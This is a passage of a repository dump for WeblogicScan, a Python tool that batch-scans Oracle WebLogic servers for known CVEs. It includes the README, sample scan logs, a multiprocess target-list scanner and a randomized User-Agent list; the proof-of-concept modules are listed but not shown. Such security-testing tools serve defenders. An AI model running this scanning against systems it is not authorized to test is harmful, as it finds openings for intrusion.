├── LICENSE
├── README.md
├── Weblogic.log
├── WeblogicScan.jpg
├── WeblogicScan.py
├── config
├── config_banners.py
├── config_console.py
├── config_logging.py
└── config_requests.py
├── poc
├── CVE_2014_4210.py
├── CVE_2016_0638.py
├── CVE_2016_3510.py
├── CVE_2017_10271.py
├── CVE_2017_3248.py
├── CVE_2017_3506.py
├── CVE_2018_2628.py
├── CVE_2018_2893.py
├── CVE_2018_2894.py
├── CVE_2019_2725.py
├── CVE_2019_2729.py
├── CVE_2019_2890.py
├── Console.py
├── Whoareu.py
└── index.py
├── requirements.txt
└── target.txt
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 RabbitMask
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # WeblogicScan
4 | Weblogic一键漏洞检测工具,V1.5
5 | ```
6 | 软件作者:Tide_RabbitMask
7 | 免责声明:Pia!(o ‵-′)ノ”(ノ﹏<。)
8 | 本工具仅用于安全测试,请勿用于非法使用,要乖哦~
9 |
10 | V 1.5功能介绍:
11 | 提供一键poc检测,收录几乎全部weblogic历史漏洞。
12 | 详情如下:
13 |
14 | #控制台路径泄露
15 | Console
16 |
17 | #SSRF:
18 | CVE-2014-4210
19 |
20 | #JAVA反序列化
21 | CVE-2016-0638
22 | CVE-2016-3510
23 | CVE-2017-3248
24 | CVE-2018-2628
25 | CVE-2018-2893
26 | CVE-2019-2725
27 | CVE-2019-2729
28 | CVE_2019_2890
29 |
30 | #任意文件上传
31 | CVE-2018-2894
32 |
33 | #XMLDecoder反序列化
34 | CVE-2017-3506
35 | CVE-2017-10271
36 |
37 | V 1.1 更新日志:
38 | 删减全部EXP
39 | 删减POC:CVE-2015-4852
40 | 新增POC:CVE-2017-10271,CVE-2019-2725,CVE-2018-2894
41 | 新增日志功能
42 | 全新交互模式
43 | 全新名称、Banner
44 |
45 | V 1.2 更新日志:
46 | 新增离线依赖安装模式,满足内网测试需求:
47 | 即新增文件夹:/whl/
48 | Usage:python3 install.py
49 |
50 | V 1.3 更新日志:
51 | 全新支持Python3
52 | 重写POC:CVE-2019-2725
53 | 新增POC:CVE-2019-2729
54 |
55 | V 1.4 更新日志: [20200729]
56 | 新增POC:CVE_2019_2890
57 | 全新框架设计,高度封装与拟人化
58 | 舍弃离线安装模块
59 | 重点修复:从根本上解决脚本异常卡死问题(不同目标版本的异常通信造成)
60 | 重点升级:从根本上解决脚本漏报误报问题(部分原因由py2->py3升级造成)
61 | # Not End:
62 | 话说大家一直好奇其它同类型工具增加的CVE-2020-* 为什么一直没有在这里出现。
63 | 其实相关的漏洞利用链以及最新的EXP我都有自己去复现或自己去写,手头也差不多是全的,
64 | 但是如何把他们去靠谱的自动化集成一直是个问题,很多公开利用链是依赖ldap或没有回显可供正则的。
65 | :) 至于1.4高度封装与框架重新设计的目的,V1.5批量版本近期更新,敬请期待。
66 |
67 | V 1.5 更新日志: [20200730] [快不快?/嚣张脸:)]
68 | 新增模块:Whoareu,基于T3的目标版本精确识别
69 | 重点升级:增加批量扫描功能,智能兼容默认端口或自定义端口
70 | 仅打印检测成功的内容,更多内容详见weblogic.log日志
71 | ```
72 | Software using Demo:
73 | ===
74 | ```python WeblogicScan.py -h```
75 | ```
76 | __ __ _ _ _ ____
77 | \ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __
78 | \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \
79 | \ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | |
80 | \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_|
81 | |___/
82 | By Tide_RabbitMask | V 1.5
83 |
84 | Welcome To WeblogicScan !!!
85 | Whoami:https://github.com/rabbitmask
86 | usage: WeblogicScan.py [-h] [-u IP] [-p PORT] [-f FILE]
87 |
88 | optional arguments:
89 | -h, --help show this help message and exit
90 |
91 | Scanner:
92 | -u IP target ip
93 | -p PORT target port
94 | -f FILE target list
95 | ```
96 | ```python WeblogicScan.py -u 127.0.0.1 -p 7001```
97 | ```
98 | __ __ _ _ _ ____
99 | \ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __
100 | \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \
101 | \ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | |
102 | \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_|
103 | |___/
104 | By Tide_RabbitMask | V 1.5
105 |
106 | Welcome To WeblogicScan !!!
107 | Whoami:https://github.com/rabbitmask
108 | [*] =========Task Start=========
109 | [+] [127.0.0.1:7001] Weblogic Version Is 10.3.6.0
110 | [+] [127.0.0.1:7001] Weblogic console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp
111 | [+] [127.0.0.1:7001] Weblogic UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/
112 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
113 | [-] [127.0.0.1:7001] weblogic not detected CVE-2016-3510
114 | [-] [127.0.0.1:7001] weblogic not detected CVE-2017-10271
115 | [-] [127.0.0.1:7001] weblogic not detected CVE-2017-3248
116 | [-] [127.0.0.1:7001] weblogic not detected CVE-2017-3506
117 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2628
118 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
119 | [-] [127.0.0.1:7001] weblogic not detected CVE-2018-2894
120 | [-] [127.0.0.1:7001] weblogic not detected CVE-2019-2725
121 | [-] [127.0.0.1:7001] weblogic not detected CVE-2019-2729
122 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
123 | [*] ==========Task End==========
124 | ```
125 | ```python WeblogicScan.py -f target.txt```
126 | ```
127 | __ __ _ _ _ ____
128 | \ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __
129 | \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \
130 | \ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | |
131 | \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_|
132 | |___/
133 | By Tide_RabbitMask | V 1.5
134 |
135 | Welcome To WeblogicScan !!!
136 | Whoami:https://github.com/rabbitmask
137 | [*] ========Task Num: [2]========
138 | [*] =========Task Start=========
139 | [+] [127.0.0.1:7001] Weblogic Version Is 10.3.6.0
140 | [+] [172.19.19.19:7001] Weblogic Version Is 10.3.6.0
141 | [+] [127.0.0.1:7001] Weblogic console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp
142 | [+] [172.19.19.19:7001] Weblogic console address is exposed! The path is: http://172.19.19.19:7001/console/login/LoginForm.jsp
143 | [+] [127.0.0.1:7001] Weblogic UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/
144 | [+] [172.19.19.19:7001] Weblogic UDDI module is exposed! The path is: http://172.19.19.19:7001/uddiexplorer/
145 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
146 | [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
147 | [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2628
148 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2628
149 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
150 | [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
151 | [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
152 | [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
153 | [*] ==========Task End==========
154 | ```
155 | ```
156 | # Demo target.txt (端口默认为7001)
157 |
158 | 127.0.0.1:7001
159 | 192.168.1.1
160 | 192.168.1.1:80
161 | ```
162 | ```
163 | # Demo Weblogic.log
164 |
165 | 2020-07-30 14:15:48,266 [+] [127.0.0.1:7001] Weblogic Version Is 10.3.6.0
166 | 2020-07-30 14:15:48,267 [+] [172.19.19.19:7001] Weblogic Version Is 10.3.6.0
167 | 2020-07-30 14:15:48,276 [+] [127.0.0.1:7001] Weblogic console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp
168 | 2020-07-30 14:15:48,314 [+] [172.19.19.19:7001] Weblogic console address is exposed! The path is: http://172.19.19.19:7001/console/login/LoginForm.jsp
169 | 2020-07-30 14:15:48,376 [+] [127.0.0.1:7001] Weblogic UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/
170 | 2020-07-30 14:15:48,393 [+] [172.19.19.19:7001] Weblogic UDDI module is exposed! The path is: http://172.19.19.19:7001/uddiexplorer/
171 | 2020-07-30 14:16:01,584 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
172 | 2020-07-30 14:16:01,598 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
173 | 2020-07-30 14:16:14,800 [-] [127.0.0.1:7001] weblogic not detected CVE-2016-3510
174 | 2020-07-30 14:16:14,802 [-] [172.19.19.19:7001] weblogic not detected CVE-2016-3510
175 | 2020-07-30 14:16:14,818 [-] [127.0.0.1:7001] weblogic not detected CVE-2017-10271
176 | 2020-07-30 14:16:14,821 [-] [172.19.19.19:7001] weblogic not detected CVE-2017-10271
177 | 2020-07-30 14:16:28,031 [-] [127.0.0.1:7001] weblogic not detected CVE-2017-3248
178 | 2020-07-30 14:16:28,035 [-] [172.19.19.19:7001] weblogic not detected CVE-2017-3248
179 | 2020-07-30 14:16:28,041 [-] [172.19.19.19:7001] weblogic not detected CVE-2017-3506
180 | 2020-07-30 14:16:28,048 [-] [127.0.0.1:7001] weblogic not detected CVE-2017-3506
181 | 2020-07-30 14:16:51,253 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2628
182 | 2020-07-30 14:16:51,261 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2628
183 | 2020-07-30 14:17:04,466 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
184 | 2020-07-30 14:17:04,471 [-] [127.0.0.1:7001] weblogic not detected CVE-2018-2894
185 | 2020-07-30 14:17:04,609 [-] [127.0.0.1:7001] weblogic not detected CVE-2019-2725
186 | 2020-07-30 14:17:06,381 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
187 | 2020-07-30 14:17:06,385 [-] [172.19.19.19:7001] weblogic not detected CVE-2018-2894
188 | 2020-07-30 14:17:06,553 [-] [172.19.19.19:7001] weblogic not detected CVE-2019-2725
189 | 2020-07-30 14:17:06,649 [-] [127.0.0.1:7001] weblogic not detected CVE-2019-2729
190 | 2020-07-30 14:17:08,591 [-] [172.19.19.19:7001] weblogic not detected CVE-2019-2729
191 | 2020-07-30 14:17:19,854 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
192 | 2020-07-30 14:17:21,805 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
193 | ```
194 |
195 | ##### Thanks for the support from [JetBrains](https://www.jetbrains.com/?from=WeblogicScan).
--------------------------------------------------------------------------------
/Weblogic.log:
--------------------------------------------------------------------------------
1 | 2020-07-30 14:15:48,266 [+] [127.0.0.1:7001] Weblogic Version Is 10.3.6.0
2 | 2020-07-30 14:15:48,267 [+] [172.19.19.19:7001] Weblogic Version Is 10.3.6.0
3 | 2020-07-30 14:15:48,276 [+] [127.0.0.1:7001] Weblogic console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp
4 | 2020-07-30 14:15:48,314 [+] [172.19.19.19:7001] Weblogic console address is exposed! The path is: http://172.19.19.19:7001/console/login/LoginForm.jsp
5 | 2020-07-30 14:15:48,376 [+] [127.0.0.1:7001] Weblogic UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/
6 | 2020-07-30 14:15:48,393 [+] [172.19.19.19:7001] Weblogic UDDI module is exposed! The path is: http://172.19.19.19:7001/uddiexplorer/
7 | 2020-07-30 14:16:01,584 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
8 | 2020-07-30 14:16:01,598 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
9 | 2020-07-30 14:16:14,800 [-] [127.0.0.1:7001] weblogic not detected CVE-2016-3510
10 | 2020-07-30 14:16:14,802 [-] [172.19.19.19:7001] weblogic not detected CVE-2016-3510
11 | 2020-07-30 14:16:14,818 [-] [127.0.0.1:7001] weblogic not detected CVE-2017-10271
12 | 2020-07-30 14:16:14,821 [-] [172.19.19.19:7001] weblogic not detected CVE-2017-10271
13 | 2020-07-30 14:16:28,031 [-] [127.0.0.1:7001] weblogic not detected CVE-2017-3248
14 | 2020-07-30 14:16:28,035 [-] [172.19.19.19:7001] weblogic not detected CVE-2017-3248
15 | 2020-07-30 14:16:28,041 [-] [172.19.19.19:7001] weblogic not detected CVE-2017-3506
16 | 2020-07-30 14:16:28,048 [-] [127.0.0.1:7001] weblogic not detected CVE-2017-3506
17 | 2020-07-30 14:16:51,253 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2628
18 | 2020-07-30 14:16:51,261 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2628
19 | 2020-07-30 14:17:04,466 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
20 | 2020-07-30 14:17:04,471 [-] [127.0.0.1:7001] weblogic not detected CVE-2018-2894
21 | 2020-07-30 14:17:04,609 [-] [127.0.0.1:7001] weblogic not detected CVE-2019-2725
22 | 2020-07-30 14:17:06,381 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
23 | 2020-07-30 14:17:06,385 [-] [172.19.19.19:7001] weblogic not detected CVE-2018-2894
24 | 2020-07-30 14:17:06,553 [-] [172.19.19.19:7001] weblogic not detected CVE-2019-2725
25 | 2020-07-30 14:17:06,649 [-] [127.0.0.1:7001] weblogic not detected CVE-2019-2729
26 | 2020-07-30 14:17:08,591 [-] [172.19.19.19:7001] weblogic not detected CVE-2019-2729
27 | 2020-07-30 14:17:19,854 [+] [127.0.0.1:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
28 | 2020-07-30 14:17:21,805 [+] [172.19.19.19:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
29 |
--------------------------------------------------------------------------------
/WeblogicScan.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rabbitmask/WeblogicScan/05cee3a69cf403e4db5f057c569a923c107cb97b/WeblogicScan.jpg
--------------------------------------------------------------------------------
/WeblogicScan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 |
4 | '''
5 | ____ _ _ _ _ __ __ _
6 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
7 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
8 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
9 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
10 |
11 | '''
12 | from config.config_banners import banner
13 | from config.config_console import Weblogic_Console
14 |
15 |
16 | def run():
17 | print(banner)
18 | print('Welcome To WeblogicScan !!!\nWhoami:https://github.com/rabbitmask')
19 | Weblogic_Console()
20 |
21 | if __name__ == '__main__':
22 | run()
23 |
--------------------------------------------------------------------------------
/config/config_banners.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 | '''
10 | version = "1.5"
11 | banner='''
12 | __ __ _ _ _ ____
13 | \ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __
14 | \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \
15 | \ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | |
16 | \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_|
17 | |___/
18 | By Tide_RabbitMask | V {}
19 | '''.format(version)
--------------------------------------------------------------------------------
/config/config_console.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 | '''
10 | import argparse
11 |
12 | from config.config_logging import loglog
13 | from multiprocessing import Pool, Manager
14 | from poc.index import *
15 |
16 | def pocbase(pocname,rip,rport):
17 | try:
18 | tmp,res=eval(pocname).run(rip,rport)
19 | return (tmp,res)
20 | except:
21 | pass
22 |
23 | def poc(rip,rport):
24 | print ("[*] =========Task Start=========")
25 | for i in pocindex:
26 | res=pocbase(i,rip,rport)
27 | if res:
28 | loglog(res[1])
29 | print(res[1])
30 | print ("[*] =========Task E n d=========")
31 |
32 | def pocs(rip,rport,q):
33 | try:
34 | for i in pocindex:
35 | res=pocbase(i,rip,rport)
36 | if res:
37 | loglog(res[1])
38 | if res[0]==1:
39 | print(res[1])
40 | except:
41 | print ("[-] [{}] Weblogic Network Is Abnormal ".format(rip+':'+str(rport)))
42 | q.put(rip,rport)
43 |
44 |
45 | def poolmana(filename):
46 | fr=open(filename,'r')
47 | url=fr.readlines()
48 | fr.close()
49 | print ("[*] ========Task Num: [{}]========".format(len(url)))
50 | print ("[*] =========Task Start=========")
51 | p = Pool(10)
52 | q = Manager().Queue()
53 | for i in url:
54 | i=i.replace('\n','')
55 | if ':' in i:
56 | ip=i.split(':')[0]
57 | port=int(i.split(':')[1])
58 | p.apply_async(pocs, args=(ip,port,q,))
59 | else:
60 | ip=i
61 | port=7001
62 | p.apply_async(pocs, args=(ip,port,q,))
63 | p.close()
64 | p.join()
65 | print ("[*] ==========Task End==========")
66 |
67 |
68 | def Weblogic_Console():
69 | parser = argparse.ArgumentParser()
70 | scanner = parser.add_argument_group('Scanner')
71 |
72 | scanner.add_argument("-u",dest='ip', help="target ip")
73 | scanner.add_argument("-p", dest='port', help="target port")
74 | scanner.add_argument("-f", dest='file', help="target list")
75 |
76 | args = parser.parse_args()
77 |
78 | if args.ip and args.port:
79 | try:
80 | poc(args.ip,int(args.port))
81 | except ConnectionRefusedError:
82 | print("[-] [{}] Weblogic Network Is Abnormal ".format(args.ip + ':' + str(args.port)))
83 | print("[*] ==========Task End==========")
84 | elif args.file:
85 | poolmana(args.file)
86 |
87 |
--------------------------------------------------------------------------------
/config/config_logging.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 | '''
10 | import logging
11 |
12 | logging.basicConfig(filename='Weblogic.log',
13 | format='%(asctime)s %(message)s',
14 | filemode="a", level=logging.INFO)
15 |
16 | def loglog(log):
17 | logging.info(log)
--------------------------------------------------------------------------------
/config/config_requests.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 | '''
10 |
11 | # from fake_useragent import UserAgent
12 | #
13 | # # 实例化 UserAgent 类
14 | # ua = UserAgent(verify_ssl=False)
15 | #
16 | # # 通用headers配置
17 | # headers={"User-Agent":ua.random}
18 | #
19 | # if __name__ == '__main__':
20 | # print(headers)
21 |
22 | import random
23 |
24 | ua=random.choice([
25 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
26 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
27 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
28 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
29 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
30 | "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
31 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
32 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36",
33 | "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36",
34 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
35 | "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
36 | "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
37 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
38 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
39 | "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
40 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
41 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36",
42 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36",
43 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36",
44 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
45 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36",
46 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F",
47 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36",
48 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
49 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
50 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
51 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
52 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36",
53 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36",
54 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36",
55 | "Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36",
56 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36",
57 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
58 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36",
59 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36",
60 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36",
61 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
62 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
63 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
64 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
65 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
66 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
67 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36",
68 | "Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
69 | "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
70 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
71 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17",
72 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15",
